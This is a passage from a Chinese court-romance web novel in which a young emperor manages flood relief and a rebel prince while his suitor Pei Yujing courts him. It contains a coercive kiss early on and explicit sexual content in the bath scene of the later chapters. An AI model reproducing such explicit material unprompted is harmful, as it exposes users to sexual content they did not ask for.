去他妈的大计!裴郁璟一甩缰绳,眼底森冷一片。他只知道没东西压制,小皇帝过不了明年就得死! 第65章 虽睡得不大好,缓和片刻,那股不适感便渐渐散去。师离忱披上外衣,去了御书房。 今日翰林院上值的是卫珩一,被召来御书房议事时,见师离忱眉眼间透出几分苍白病色,关切之余作揖道:“圣上勤政,也千万要注意龙体。” “无碍。”师离忱罢手。 近来雨量增大,一些地方州府有河患发生,有预备性的开闸放水,大大降低了地方灾祸。 南阳府周边一块在先朝时就进行了开凿河道,黄河破堤,夺道入淮,如今走的是南流地带。 对于黄河中下游朝廷一向都是较为重视的,早早都有各种预防,但防不了还有突发灾祸。 比如今年雨水量大,太湖一片水量暴增,涌向九江,堤坝倒塌,将万亩城镇良田淹没,造成数万百姓流离失所,且引动山洪频发。 哪怕是户部拨款预防水患的银两也不足用,晋陵州府急得火烧眉毛,连日紧急上奏,要朝廷加派人手支援,重修堤坝,安抚流民。 师离忱正与太傅等人商议完方案,卫珩一在旁拟诏,待事情了结,御书房中人散去。 晚照窗棂,晴虹落案于屋中作画。 周遭静谧。 师离忱一口气缓出,微微阖目,软了一身的骨头倒在龙椅上揉起眉心。隐隐约约又听到系统滋啦启动的声音。 “违反世界线——请立即停止政务——” 好吵。 他撩开眼皮,眼底一片漠然。拿起案上一篇奏疏,静静看起来,哪怕系统叫得再大声也不做理会。 殿外忽地传来一阵躁动。 师离忱问了句,“怎么了?” 郞义目光不善地看着面前的裴郁璟,回禀道:“回圣上,是裴殿下。” 又有什么事?师离忱指尖在案前点了点,头也不抬道:“让他进来吧。” 圣上声音从殿中传来,郞义才冷脸收刀,让开路。 …… 裴郁璟阔步进殿,反手就将殿门关紧,一言不发,大步走向上首的天子。 不知他葫芦里卖的什么药,师离忱微微挑眉,侧目对上裴郁璟幽沉的眼眸,放下手里的奏疏。 高大挺拔地身影站在面前,挡住了光影。 裴郁璟盯着师离忱,从怀中拿出了锦盒,打开,里面是三枚滚圆的,半个指甲盖大小的漆黑药丸。 盒子一开,师离忱便闻到一股淡淡药香,感到一阵神清气爽。他眸光微动,“这是什么?” “克制蛊虫的药。”裴郁璟把锦盒往师离忱的方向递了递。 见师离忱望着他半响未动。 裴郁璟眉头沉压,唇线绷紧道:“……你不信?” “怎么会。”师离忱注视着裴郁璟,唇边忽而带起一抹弧度,低笑一声,笑容和善:“朕走神了。” 这话一听就不真心。裴郁璟看师离忱迟迟不动,干脆从锦盒里拿了一枚药丸用唇衔住,伸出手臂大掌扣住师离忱后脑,低头凑了过去。 师离忱下意识往后退,后腰腰心也被按住了,裴郁璟以一种极为野蛮和珍视的姿态,将他几乎完全拢入怀中,不容他退却一步。 师离忱愣神间,唇上贴来一个吻,一如既往的迫切,撬开他的唇齿,将药丸渡了进来。 药味到底是有些苦涩,在口中化开的味道不好受,双唇又被裴郁璟堵着,师离忱长睫颤了颤只能咽下去。 圣上哪里是肯吃亏的人。 哪怕是裴郁璟也跟着吃了一部分苦药,也不能消去他的怒火。 师离忱牙尖用力,在裴郁璟舌头上咬了一口。 血腥味在口腔内散开,顿时师离忱感到后腰手劲更大了些,将他又往裴郁璟怀里带了带。 还不肯退……师离忱琢磨着怎么罚他好,忽地,感到脸上调来一滴滚烫的水珠。 师离忱骤然一滞。 陡然间发觉,不知何时裴郁璟眼眶变得红红,正一边迎着鲜血恶狠狠的吻他,一边掉下眼泪。 “……” 师离忱指尖蜷了蜷,闭目将身子放松了些,一手搂住裴郁璟的脖子,下颌微昂,化被动为主动,力压了回去。 片刻。 他抬手在裴郁璟后背拍了拍,这才从裴郁璟怀中退出来。 再一看,裴郁璟脸上还有一行明显的泪痕。 裴郁璟眼窝本就深邃,长像偏向俊美阴鸷,带着一身凛冽的压迫感,这一哭敛不住气势,眉眼间似萦绕一股阴翳戾气,浑身绷着,唇线也绷着。 明明发横的人是他,神情看起来却好像委屈死了。 师离忱气笑了,“被强。迫的是朕,你哭什么?” 裴郁璟抹了一把眼泪,偏过头去,嗓音沉哑:“就哭!” 讲话都硬气了,胆大包天。师离忱眼梢弯了弯,敲了敲他的脑袋,“……收一收,丢人呐。”又不是三岁小儿,还玩赌气呢。 “……” 殿内沉寂一瞬。 “叩叩。” 倏然响起轻轻的叩门声。 乐福安在门外道:“圣上,时辰到了,您今儿个还没吃东西,该用膳了……” 说话间没听到殿内的动静,乐福安将殿门打开一条缝,简单窥了一眼,立马就把门阖上了。 好半天。 他反应过来,有些纳闷。 什么情况? 裴郁璟人高马大的站在那儿红了眼眶,圣上与他说话也不做应答。然后圣上歪了歪脑袋思索须臾,走过去捧着裴郁璟的脸,亲他了一口。 乐福安保证,把殿门关严实前,他看到那竖子在偷笑! * 当然。 发现裴郁璟后面全然是假装的难过之后,人就被师离忱一脚踹走,赶出御书房。 师离忱一边念着无法无天,一边擦拭着手,一边想一边有些气笑了,被这厮两滴眼泪一骗,都忘了问药是哪儿来的。 也罢。 问也白问,有用就行。 那黑乎乎的药丸吃下去之后,身子确实轻快不少。乐福安传了两个太医过来重新探脉,脉象已然正常。 师离忱用过膳,将堆积的奏疏都批阅一遍,传召大臣,安排各部事宜,将事情部署起来。 考虑到水患过后容易引起疫灾,从太医署以及民间招募一批医者,送过去。 设柳清宁为钦差前往调查当地情形,卫珩一请命从旁协助,师离忱便批了他一同去往,另外批了房云哲护送二人,与赈灾官银一同送往晋陵。 一来二去,师离忱忙得不可开交。 …… 同样的。 在京都城提心吊胆过了好几个月,鹿亲王早已忍得不耐烦,没了那位神秘的合作者,银子见底,他手里那点俸禄根本不够养私兵! 偷偷变卖一些珠宝,才勉力支撑他到现在。 但已经卖无可卖,剩下的都有皇家印鉴标识,拿出去被认出来便会引来大理寺盘查,他哪里敢。 可私兵已然养了。 事态发展到这个地步,他骑虎难下。 哪怕是举着调令送到圣上面前请罪,也断不可能获取信任。 而天子又迟迟不肯放他回封地。 鹿亲王在府邸大堂来回踱步。 事到如今,没办法再等,他左右只有一条路可走了!鹿亲王面沉如水,秘密号召润州总兵! …… 黑夜中。 监察司吏员一闪而逝,宛若鬼魅一般隐没于黑暗,将书呈御前—— 第66章 被忽视了好几日。 裴郁璟出了皇城,找了间酒楼。 坐于厢房清酒入喉,才觉得心中郁气减少了一些。他等着帝王来质问蛊虫的事,帝王把他当空气。 他百思不得其解。 这算什么? 一旁,僚属战战兢兢回禀,“往极北之地方向的商队传了消息过来,说是几个月前,有大巫到过的踪迹,当地里长听闻秋家商队前来,将一封信交给了领头,也一并传了过来。” 一封有些泛黄的信笺被双手送上。 裴郁璟夺来,打开一看,信笺左下角有草汁化出的飞鸟,已经干涸呈红青混杂的痕迹。 这是大巫的特殊标识,确实是大巫所写。 他笑容收起,敛眼扫看信上内容,越看周身气压越是低沉,直到最后一个字看完后,连眸光都带上了戾气。 僚属大气都不敢喘,紧紧将头埋了下去。 死寂半响。 屋内响起裴郁璟压着怒意的森冷嗓音:“他耍老子?!” “咯嘣。” 桌角乍然被掰碎。 “要赔的……”僚属试图提醒。 “那就赔!”裴郁璟一晒,笑不达眼底,眉眼阴恻恻的透着一股寒气,“爷有得是银子。” 这是气狠了。僚属登时一个屁都不敢放,平日主上花钱都在刀刃上,可不会做节外生枝的事。 裴郁璟怕漏看了什么,阴翳的目光又重新放回信上,再看一遍。 再怎么看,都多不出别的意思。 大巫神机妙算,几个月前就算得秋家商队会在各地找他,故此专门留下笔墨,让他别白费心思。 还文绉绉的。 写了句什么—— 因果循环,时机一到,自然现身。 循环个狗屁! 裴郁璟当场把信揉了个稀碎,幽幽道:“多增人马,继续找!天南地北,他还能从这地上消失了不成!” 看着主上阴沉不定的神色,暴戾的笑容,僚属欲言又止。 算了,气氛不对。 他选择先闭嘴。 …… 裴郁璟眼神沉冷,烧去大巫的那封信。 僚属正要退下。 “等等。”裴郁璟此时已缓和了面色,道:“再问你个事。” 僚属迟疑,“主上请讲。” 裴郁璟若有所思,“假如,你有一个朋友,你的这个朋友,有个心上人,那心上人位高权重,脾气善变,喜怒不定——” 僚属一边听,一边细数,霎时间看裴郁璟的眼神变得古怪。 裴郁璟沉浸在思绪里,继续说:“你那个朋友,被心上人轻薄了一番,然后回过头来,那心上人,对你的朋友若即若离,时不时轻薄玩弄,却不给名分,也只字不提情爱,经常把你的朋友抛之脑后——” 僚属的眼神逐渐同情。 裴郁璟道:“你的这位朋友,和他的心上人,到底算什么关系?” “……” 僚属沉默一瞬,一针见血,“敢问主上,这位朋友,是不是您自己?” 裴郁璟:“……” 裴郁璟强颜欢笑:“怎么可能呢。” 好了,再说要碎了。 没想到主上在宫中过的是这种日子,月商帝果然残暴!僚属维护着主上岌岌可危的面子,不再追问,并认真分析道:“您的这位朋友,显然是被心上人当做外室了。” 见裴郁璟抬眼锁定而来,他赶紧解释道,“京都富贵人家,若是想隐瞒关系不想负责,或者不想带回家中给名分,通常都是买或租一个宅子,把外室养在宅子里,有兴致了就去逗弄,没兴致了就不去。” “就像是……” 僚属灵光一现,拍手道:“就像是养个小宠那样,豢养起来,向来如此!” “……” 厢房陷入静默。 裴郁璟发现。 哪怕努力那么久,他在小皇帝心里的地位应该稍微提升了点,至少从小宠,变成了外室小宠。 僚属观察着裴郁璟的表情,“您被玩弄……哦不,您的那位朋友被玩弄了的话,属下建议及时止损。” 裴郁璟看了眼僚属,嗤之以鼻,“少说点没用的建议。” 胡说八道什么东西,狗屁外室论,小皇帝怎么不玩弄别人?为什么只玩他?还不是他有值得玩弄的地方! 比别人都出色! 只有他能把小皇帝伺候得舒坦! 早晚地位能提升,然后爬到那张榻上去! * 皇城。 连日绵雨后,空气里带着一股树叶清新。 午后得闲,师离忱批阅奏疏结束,一人出来慢慢踱步,也算是活动筋骨。走了两圈,忽然想起小汤圆,掉头去了兽园。 兽园宽广,栽种各式树木花草。 眼下正是花开时节,郁郁纷纷,树影婆娑,与光同尘。 小汤圆活动的范围除了造出来的假洞穴,还有一间空旷的宫殿,除了休憩的小榻与遮光的屏风以外,没有旁的陈设。 听到殿门打开又关闭的动静,小汤圆警惕地抬起头,蓝色瞳孔放大,等看到屏风后绕过来的是师离忱时,瞳孔立刻竖起。 大猫抖抖身上的毛,激动地站起来,又在顷刻间想起什么,佝起脑袋,耳朵缩着背到脑后。 大猫不懂人类的规则,但大猫知道曾经犯过错,虽然它不知道错在哪里,可一定和主人有关。 福公公狠狠骂过它好久。 “瞧着是受委屈了。”师离忱望着小汤圆趴在小榻边畏畏缩缩的模样,噙着笑走了过去,浑不在意的席地而坐,搂住了大猫的脖子。 “不怪你,不是你的错。”他蹂躏大猫的脑袋,使劲搓了搓,搓得大猫欢快地眯起眼睛。 呜呜哼唧着,亲昵地歪起脑袋,来蹭师离忱的脖子。 比起之前,这回小汤圆动作放轻缓了许多,饶是如此师离忱还是有些招架不住,按住了它还要继续蹭的脑袋,安抚似的在它头顶摸了摸。 到底是只成年虎,他坐在小汤圆身边,小汤圆前爪支撑起来,他竟比小汤圆还矮一小截。 于他而言,已是庞然大猫。 师离忱有些感慨,又挠了挠小汤圆的下巴,当初抱回来的小汤圆,还没他臂弯大呢。 一主一宠正亲近着,忽然殿外传来零碎的声响。 小汤圆顿时眼珠往外看,但此时殿门闭着,窗子也闭着,看不到殿外的情况,只能听到声音。 师离忱作怪,也不管大猫看得懂看不懂,食指搭在唇上,无声比划了个‘嘘’的动作。 比划完,他自己都觉得荒唐。 低首无声笑了笑,熟练地捏住小汤圆的嘴巴,摇头示意不要出声。 这招小汤圆熟,自小捏到大的,它识趣地趴回地上。 …… 殿外。 裴郁璟刚踏进宫门,就被乐福安堵了个正着,一言不发地把他带到了兽园。这儿僻静无人。 “福公公有何指教?” 裴郁璟拿不准这老太监又打什么主意,僚属说了,外室入门遇恶公婆都是常事,得学会习惯。 他嘴角拉出一个虚伪的笑。 乐福安可没闲心和他嬉皮笑脸,板起脸饶着裴郁璟走了一圈,仔细端详,时不时用拂尘手柄打一打裴郁璟腿弯,推一推手臂,冷道:“吊儿郎像什么样,站直,站好,圣上既瞧得上你,你这规矩得重新学一学。” 裴郁璟笑意敛了敛,眸底划过一丝森冷。 他没说什么,只活动了一下肩胛骨,挑眉道:“公公叫我来,就为了说这个?” 自然不是。乐福安还记得上回在御书房窥探到的情况。 所谓当局者迷旁观者清,圣上在襁褓时,他就侍奉在身旁,他自然看得明白,圣上分明是有那么一两分心思落在这人身上。 乐福安绝不会让圣上有一丝一毫威胁,哪怕只有一点点。 他重新绕到前方,在裴郁璟对面站定,面无表情道:“咱家不是好糊弄的,你这小子面尊心不尊,此时你对咱家确实是毕恭毕敬,可指不定你心底是什么盘算,或许还想着什么时候给咱家一个痛快。” “那都不是重要的,咱家不在乎。” 说完,他握着拂尘柄的手轻轻转动,看着裴郁璟的眸中闪过阴狠之色,“咱家就想知道,你是刻意引诱圣上?还是存了那么几分真心?” 指腹悄然按在机关处,只需一触,便能探出一把淬毒短刀,只消瞬息,即能让人毙命。 裴郁璟还以为有什么大事,让乐福安满身杀气,严阵以待—— 原来是探他的意思。 这让他怎么好意思说…… 裴郁璟回想到了小皇帝,眉眼缓和了些。霎时,他眼中冷冽感化去,周身不自觉展露出迫人的威慑感,都收敛得干干净净。 乐福安眉头微凛,声音更冷了些,“咱家问你话,你笑什么,好好答!” “公公,这还用说吗?摆明的。” 裴郁璟无奈,他抬眼,看乐福安神色不似玩笑,今日是一定要一个准确答案了。 他低咳两声,收去笑意,面色郑重道:“福公公大可放心,我对圣上,绝对是真心!” 乐福安道:“理由。” 裴郁璟诧异,“什么理由?” “你心悦圣上的理由。”乐福安语气肃然。 “……” 裴郁璟眼睫低敛一刹,深邃的眉眼带上阴鸷,再抬眸时,眼中带着沉重细碎的光,“公公这话不对,心悦不需要理由。” 乐福安愣了愣。 裴郁璟:“厌恶需要理由,烦躁需要理由,喜欢不需要,喜欢就是喜欢,爱慕就是爱慕。有理由的爱,叫利益置换。” “我喜欢圣上,爱慕圣上,不需要理由!我就是心悦他,从头到脚,每一根头发丝,哪怕是看一眼都心生欢喜!” 他嗓音低磁沉稳,宛若江海相碰,字字铿锵有力。 话落少倾。 突然之间。 “吱呀——” 距离二人不远处的宫殿窗棂动了,红窗扇门从内哗然推开,骤然响动,惊得殿外二人投去目光。 师离忱站在窗前歪头看向裴郁璟,唇边挂着一弯浅笑。 日照明媚,和风带起树影簌簌作响,光影攒动,静谧之中,裴郁璟仿佛只能听到自己剧烈的心跳。 耳根似火烧。 他脸颊与脖子头一回灼得这般厉害,整个人好像都泡在蒸汽里。比小皇帝抽他耳光还烫—— 此情此景,他情愿是被打的,还能借机和小皇帝亲昵一番,而不是站在这里,不知所措,上去亲一口也不是,退也不是。 师离忱道:“听见了,福安,放下吧。” 特意把人带来兽园,就在小汤圆的殿门前,又拿着藏匿的武器,这种天时地利人和的杀人地点…… 他悄然一叹,福安一点都没变。 第67章 那日过后。 师离忱一如既往勤政,恍若无事发生。 裴郁璟平复了两天情绪,又重新蹲上了房梁。今日上值的死士瞧见久违的自愿打工同僚,熟练的掰过来半块饼。 裴郁璟冷眼斜睨他一眼。 转手把他另外半张饼也给抢了。 死士:“?” 裴郁璟:“上值不能偷懒。” 别以为他不知道,皇宫死士有规定的吃饭时间,偷摸带饼来,没收! 死士目光死死盯着裴郁璟,硬是能从遮掩了面孔,仅剩下的一双眼睛里,看出鄙夷。 嘴脸! 死士换了个地方藏身。 …… 监察司近来也忙得不可开交,有关鹿亲王异动的消息,探得的信息全然都递上了御案。 鹿亲王的行动情况,与师离忱前两年所猜测的差不多,他早备了应对之策,如今确认了自然便启用起来。 等待静观其变。 师离忱又召见了穆子秋,镇国公议事。 镇国公在家闲赋大半年,一把骨头早就想活动活动,兴高采烈地接了调令,揪着试图留在御前侍奉的傻儿子离开御书房。 随后,师离忱翻看起御案前的奏疏。 有两则来自南晋,是今早刚呈上来的。 他打开简略扫过一眼。 南晋四皇子床头悄无声息挂了两颗人头,吐了几天,没精神上朝。因此二皇子被南晋帝给予厚望,打算让二皇子去对付秋家,挖点银钱。 二皇子接了这活,还没走出皇宫就晕了过去,一查,毒性复发,起不来。 两位皇子都倒下了,他们手底下哪些门生,幕僚,哪有胆子去做这种事,既开罪不起秋家,也开罪不起南晋帝,干脆装病。 满朝文武,竟找不到一个办事的,国库亏空这样的事,又不能拿到大庭广众之下来宣说。 南晋帝气急攻心,在朝会上呕了一口血,昏死过去。 南晋尚无太子,南晋帝一倒,四皇子奇迹般的又恢复了精神气。这不巧了,二皇子的毒也突然解开了。 南晋帝还在病中。 两位皇子又重新斗上了。 一出好戏啊! 师离忱就当看了一场热闹,笑着阖上奏疏。 南晋内斗越乱,越有利于月商。 算算国库,囤积的钱粮,复合弓批量打造已提上日程,前段时间工部还上报了造出的数量,虽说还差一截,但时间还够。 他在等一个时机。 合适攻打南晋的时机。 …… 明逐换夜。 月隐于雾中。 师离忱忙了一日,入御池泡上温热的池水,舒坦地呼出一口气,闭目小憩。 氤氲雾气在殿内涌动。 忽而察觉有气息靠近,师离忱蓦然抬眸,对上一双深暗的双眸,蹲在池边,沉沉地望着他。 裴郁璟咧嘴一笑,解开束腰的革带,瞬间把自己扒得只剩里衣,往池子里跳,“圣上,我来与你共浴!” 裴郁璟入水,便如鱼一般完全沉没水底,接着又窜出水面,抬手将长发完全梳到脑后,几缕湿发垂坠在脸颊一侧。 他站起来,大半个身子在池水外。 雪白的里衣单薄,衣襟松散,露出大片紧实胸膛,入池后被水完全黏在身躯上,刹那间勾勒出结实有力的线条,将这幅美好高大身躯的威慑感,与压迫力完全展现。 比一丝。不。挂。还要引人入胜。 “……” 是个不害臊的。师离忱在水面拍了一下,让水珠泼在裴郁璟心口,挑眉道:“朕高估你的耐心了。” 那日裴郁璟在兽园说完几句剖心之言被他撞见之后,就不见了踪影,哪怕在宫中也都避着人走。 他还奇怪呢。 这人脸皮怎么突然薄起来了,原是憋这个大的。 也不知在这暖阁潜伏了多久,算着他洗浴的时辰才冒出来,故意蹲在池边,待他发觉了才脱。衣入池。 脸皮一如既往的厚实。 不过,确实好看。 师离忱欣赏地端详着裴郁璟水中身姿,勉强不计较此人逾矩行为。 眼见裴郁璟朝他走来,他抬脚足尖轻轻点在了裴郁璟肩头,制止住对方要继续靠近的行为,下颌轻抬。 “停。” 裴郁璟驻足原地,水波在他腰腹荡开一圈浅浅的纹路。 他眼神直勾勾地盯着师离忱,眸色晦暗,宛若一汪深不见底的寒潭,握住肩上的足腕,微微侧头,在冷白凸出的腕骨上,轻轻吻了吻。 即便如此,目光始终没有从师离忱身上一开过。 看着浴中的帝王,裴郁璟似乎感到整个人都沸腾起来了,实在是因为泡在池水中的小皇帝,太过……精美。 御池建造宽阔,台阶与池子形成一体,还在池边一侧造了一个靠坐。 师离忱坐在边缘靠坐里,池水恰好没在他的锁骨处,精致线条上挂着少许水珠,透着莹润的水光,被周边水面漂浮的鲜花包围,似水中绝色精怪,眸光流转妖冶万分。 他面上还有几分被热水带起的红霞,斜眼睨来,噙着笑,慢条斯理地把鬓边轻遮的长发,理到耳后。 为了阻挠裴郁璟前行,师离忱一条腿屈起,膝盖与修长的小腿出了池水,居高临下的踩在站在池中下方,裴郁璟的肩头,然后被裴郁璟握住了脚踝,细细摩挲。至于其他,则隐在水中引人遐想。 这哪里是踩在了肩膀。 分明是踩在了心上。 裴郁璟气息变得沉重,喉结滚了滚,只觉满池的馥郁花香都抵不过天子扫来的一个眼神。 让他浑身血液骤然沸腾。 下身掩藏在水底的,原本尚在沉睡的物件,为了聊表礼貌,精神抖擞地抬起头,像是要把周围的水都变得炙热。 “圣上。” 裴郁璟声音变得沙哑,克制着呼吸,往前又走一步,握住师离忱的脚踝缓缓往下移,让天子足心感受到他的激昂。 “快踩踩我吧。”他道。 感知到脚下蓬勃的热意,师离忱唇角微扬起了兴趣,足尖蜷了蜷轻碾了一下,如愿看到裴郁璟昂了昂首,发出一声磁性痛快的喘息。 师离忱不慌不忙,又压了一下,让裴郁璟又舒爽倒吸一口凉气。 得不到满足的恶狼,看着圣上的目光充斥着幽暗,像是在背地里不断磨着利爪,等待一口吃得囫囵肚圆。 这般俊美阴鸷的长相,压抑克制中的神情总会带上几分丝丝戾气,目光却暧。昧地勾着师离忱。 师离忱玩够了,收起了腿往后靠了靠,对着裴郁璟下颌微抬,抬手间指腹擦着自身喉结,轻轻往下滑,直到没入水中。 他唇边带起一抹弧度,视线一错不错地盯着裴郁璟,挑了挑眉。 不言而喻。 殿中,突然响起剧烈的水声撩拨。 裴郁璟眸光忽地暗了暗,毫不犹豫往前,将双臂支撑在池边,把师离忱纳入身躯范围,埋首高挺鼻梁顶在锁骨窝处,张嘴就啃咬一口。 “嘶——” 师离忱抬了抬修长的脖颈,骂了句:“狗东西,轻点。” 说话间,他抬手按在裴郁璟的后颈,手指头摸到了那块颈骨,眯着眼满意地揉了揉。 他放松了警惕,半眯着的眸完全阖上,呼出一口气。 裴郁璟观察到师离忱神色变得舒缓,眼底划过一丝幽色。 下一刻。 师离忱怀里预谋已久的脑袋屏住呼息,往水下拱去。 拱在胸口。 他惊得陡然睁眼。 第68章 裴郁璟终于。 完成了一件心愿。 他像个恶狼一样啃到了心心念念的骨头。 把没在池水中,粉芽似的小尖叼在了唇中,压在了舌尖,不由余力的用牙尖轻磨。 几番搅动中,微不可查的红尖,被一压一按长成了软乎乎的小巧嫩珠。 …… 酥麻感在顷刻间从头到脚走了个遍。师离忱眸中不受控的溢出少许水光,原本不是很高的兴致,在这一刻也挺立起来。 他下意识捧住怀里的脑袋,蹙眉闷哼了一声。 圣上惯会享受,实在是酥得受不住了,才一把将埋在怀中卖力的人拽出水面。 裴郁璟憋了一会儿气,别的地方也憋得厉害,一出水便大口喘息,眼底全然是红红血丝,一眨不眨地盯着师离忱。 圣上可不许狼犬有自作主张的行为。 “朕瞧你会的很?”师离忱笑得凉凉,掐住裴郁璟的下巴,沾了水的含情眉眼秾丽似妖。 裴郁璟舔了舔唇,还在可惜没尝出滋味,“为了让圣上舒坦,该看的我可都看了。” 师离忱语气莫名冷了几度:“和别人有过?” “怎可能,我手中刀剑不知饮多少血肉,无甚情爱,又怎会胡思乱想。”裴郁璟轻晒否认,瞥见师离忱沾水的耳垂,像是润透的玉珠。 他凑过去含住,嗓音低沉道:“可一见圣上,我便难以自持。” 怎么会有人,连根头发丝都能惹他心动,脾性也合。 师离忱唇角微勾,幽幽道:“这话听着像是惯用来哄人的甜言蜜语。” 裴郁璟急了,“圣上!”他俯首,又气又委屈地把额头抵在师离忱鬓边,“逼我说真心话,说了你又不信。” 师离忱笑眯眯地瞥一眼裴郁璟。 转眼间。 天旋地转,他身形一动,强行与裴郁璟调换了位置,让裴郁璟坐在池子边缘,他则膝盖抵在玉阶,虚跨在裴郁璟身躯上方。 师离忱大半身子出水,一手按在裴郁璟肩上,居高临下地打量着裴郁璟。 这宽肩窄腰,精实的肌肉,利落流畅的线条,被殿中灯火照着,又染了池中水,无端覆盖一层蜜暖的光泽。 无一不在彰显这局身躯拥有的力量,与野性。 很完美。 师离忱眸光微动,长发垂落几缕轻遮了半边脸,发尾扫在裴郁璟的锁骨处,宛若一把挠痒的刷子。 裴郁璟昂首仰视着天子,发尾扫得他心痒痒,喉结悄然滚动。 下一瞬,天子俯首,阖眸吻来。 裴郁璟呼吸一滞,眸色暗了暗,旋即更用力地吻回去。 他手掌抚上了师离忱腰心,惦记着小皇帝膝盖有旧疾,往怀里带了带,让小皇帝实实在在坐在了他腿上。 “唔……” 师离忱喘了两口气,裴郁璟呼吸粗。重,胸膛剧烈起伏,偶尔从喉间冒出两声低沉的喘息,压抑得厉害。 “那蛊,是秋家的。” 裴郁璟等不到师离忱问,主动开口交代了,“我爹仇将军在边关时,救过一个道人,那道人算出我爹命中有祸及全族的大劫,留下一双蛊,说要想保全家族,就将蛊种给南晋皇帝,后头他自会收拾。” 师离忱身子有些发软,既然跨在了裴郁璟身上,干脆就在大腿上坐实了。 他调整了个舒坦的位置,将头靠在了裴郁璟肩膀,懒洋洋的“嗯”了一声,示意他继续说。 第69章 裴郁璟道:“我爹念及君臣之谊,并未听从,只当道人是胡言乱语,但宁可信其有不可信其无,这东西就留下来传给了我。” “约莫十来岁时,道人到边关找了我一回,把蛊要了回去,问了我是要天下大乱还是天下归一。” “我没回答。” 裴郁璟道,“当时我想,这老头有病,爷靠自己也能搅得所有人不安生,最好所有人都生不如死的活着,看着自己珍视的宝贝消弭,岂不畅快。” 师离忱手滑入水中,心不在焉地用指腹,缓缓描绘起裴郁璟腹部紧实分明肌理线条。 又嫌裴郁璟啰嗦,侧首在他喉结轻咬了一口。 此举不亚于火上浇油,裴郁璟嘴唇干涩,不免心猿意马,险些话都说不下去了,赶紧捉住了师离忱的手腕,拉到唇边在腕骨亲了亲。 他克制着翻腾的血液,眼神却还是放肆的注视着师离忱,也毫不掩饰着眼底的侵略与欲念,任由疯狂在暗处积压。 裴郁璟耐性很足,低笑道:“没过两年,道人给我送来一个锦盒,说与我有用,若遇到想保之人,便让他吃。” 低垂的视线,注意到小皇帝手背上的水珠,在冷白纤长的皮肤上泛着微光,他忍不住垂首舔去这颗水珠,勉强稳住了呼吸。 他继续道:“那道人自称大巫,算得太准,也幸好他算得准,送来的药与你有用。” 能延缓压制蛊虫爆发。 至于大巫所留的信笺,什么机缘,裴郁璟权当放屁。 他只信人定胜天,普天之下莫非王土,只要站在这片地上,他就一定要把人揪出来,给小皇帝把这隐患解决! 师离忱静静听着,等裴郁璟说完,才懒怠地打了个哈欠,眼皮轻撩抬起间,眸中情绪浅淡到让人看不出心思。 直起身子,他就这么平平凝视着裴郁璟,单手捧起裴郁璟的脸颊,拇指指腹在裴郁璟唇边摩挲,指尖更是从唇缝挤了进去。 他道:“朕知道。” 他仔细端详着裴郁璟的面庞,专注地玩弄裴郁璟的唇角。 裴郁璟怎会放过送上门来的美味,毫不客气的舔了舔圣上微凉的指尖,含着轻咬了咬,嗓音低哑道:“圣上怎么知晓的?” 师离忱手指戳进裴郁璟的口中,指腹在下牙的牙尖上按了按,低敛的眸似乎透过这一幕看到其他,微微出神道:“……朕就是知道。” 稍带沙哑的嗓音,语调平平。 裴郁璟察觉到师离忱的心不在焉,又见圣上眸波平静得宛若一潭死水,心头顿感空空。 他眼底沉了沉,按着师离忱腰心往怀里带了带,粗粝的手指沉入水底,捏住了圣上的命脉。 “嗯……” 师离忱陡然回神,半阖的眸溢出水色,轻喘了口气,面上浮出愉悦的潮。红。 裴郁璟吸取上回的教训,手上动作愈发轻柔,有所改进,兢兢业业地伺候着圣上舒服,以免又落得和上回一样被用完就甩的下场。 一想想他自身狰狞的东西,正怒挺着和师离忱秀气精致的宝贝贴在一起,他血气顿时翻涌得更加厉害,忍不住用高挺的鼻梁去顶。师离忱的颈侧,时不时舔咬一口。 他是想再放肆些。 可最放肆也只能一手掐着师离忱薄薄的腰身,感受天子堕入情。欲。中的战栗,再轻啃。捻。拨地咬一咬发颤的红尖。 敢做多余的。 师离忱马上就会警告的捏住他的命脉。 他的物件震怒,炙热滚烫,拿在小皇帝握也握不住,倒是捏得裴郁璟又疼又爽,最后露出一个求饶的笑。 好不要脸凑上去,求着帝王赏脸多捏一捏。 …… 闹到后头水快凉了。 裴郁璟拿毯子将师离忱一裹,伺候着圣上把里衣一件件穿上。 他视线猖獗的一寸寸扫过师离忱身上那些痕迹。 粉白的地方被他吃成了嫩红,处处透露出糜颓之气,他有些意犹未尽地砸吧了一下嘴,舌尖似乎残留着一点清香的味道。 然后拿起柔软干爽的巾帕,将师离忱尚还滴水的长发,一点点绞干。 师离忱阖上眸子,倦懒地打了个哈欠,靠着裴郁璟昏昏欲睡。 这哪成?裴郁璟低声道:“等一等,湿着发睡容易得头风病。” “嗯。”师离忱从轻哼了声,但丝毫没有睁眼的意思。 裴郁璟掌心微微发力,内力将巾帕烘干,随着动作悄然带到师离忱藻丛般的长发中,以最快的速度让头发上的水分蒸发殆尽。 师离忱困得有些糊涂了,隐约感觉到长发变得干爽,迷迷糊糊地吩咐:“抱朕去榻上……” * 临近夏日。 京都城常下小雨,细细绵雨带来几分清冽,似能叫所有污秽之事无所遁形。 晨起鸟鸣,乐福安算着时辰推门而入,掌灯挑起床帐:“圣上,该起……”话头一顿,对上一双幽沉的眼睛。 裴郁璟臂弯搂着师离忱,轻轻拍着后背,低声道:“圣上,该上朝了。” “……” 活计全被抢了。 乐福安笑脸一冷,恶狠狠瞪了眼裴郁璟,眼见圣上要醒,赶紧招呼着旁边福生将茶水奉来。 听到有人唤,师离忱颤了颤长睫要醒,意识尚未回笼,先觉察到身旁有人,毫不犹豫一脚蹬过去。 “咚!” 重物砸地。 师离忱难得睡了个好觉,还没睡足,不愿睁眼,只慢吞吞地扶着额头坐起来,青丝斜遮了半张面,蹙眉道:“小汤圆昨夜又爬床了?” 不对。 小汤圆没放出来,刚刚踹下去的足底尤能感觉到肌肉的紧绷与结实,不似小汤圆一样皮毛软厚。 师离忱睁眼,对上一双幽怨地眼。裴郁璟一身里衣微散,喉骨上的牙印鲜明,被一脚踹到了踏道,卷着软衾席地而坐,怨气森森。 不是小汤圆。 是爬床的狼犬。 狼犬昨个儿个有些狂妄,一晚上手都不大安分,师离忱打定主意晾他一晾,懒得理会道:“更衣。” 乐福安憋着笑,上前侍奉起圣上洗漱,将刚熏好的玄衣龙袍给圣上穿好,梳整好松散的长发。 陪圣上去上朝前,抽空扭头骂一句裴郁璟:“没出息,还傻着呢!” 天大的福气都被这小子占去了! * 金銮殿。 “臣启奏。臣要参房小将军知法犯法,贪墨晋陵河患的灾银!”御史台朱御史率先启奏,让原本平静的朝堂变得沸腾! 老太师道:“朱御史慎言!” 朱御史冷哼道:“房云哲是在众目睽睽之下被抓获,人证物证俱在,有何好辩!不信可宣来一问!” 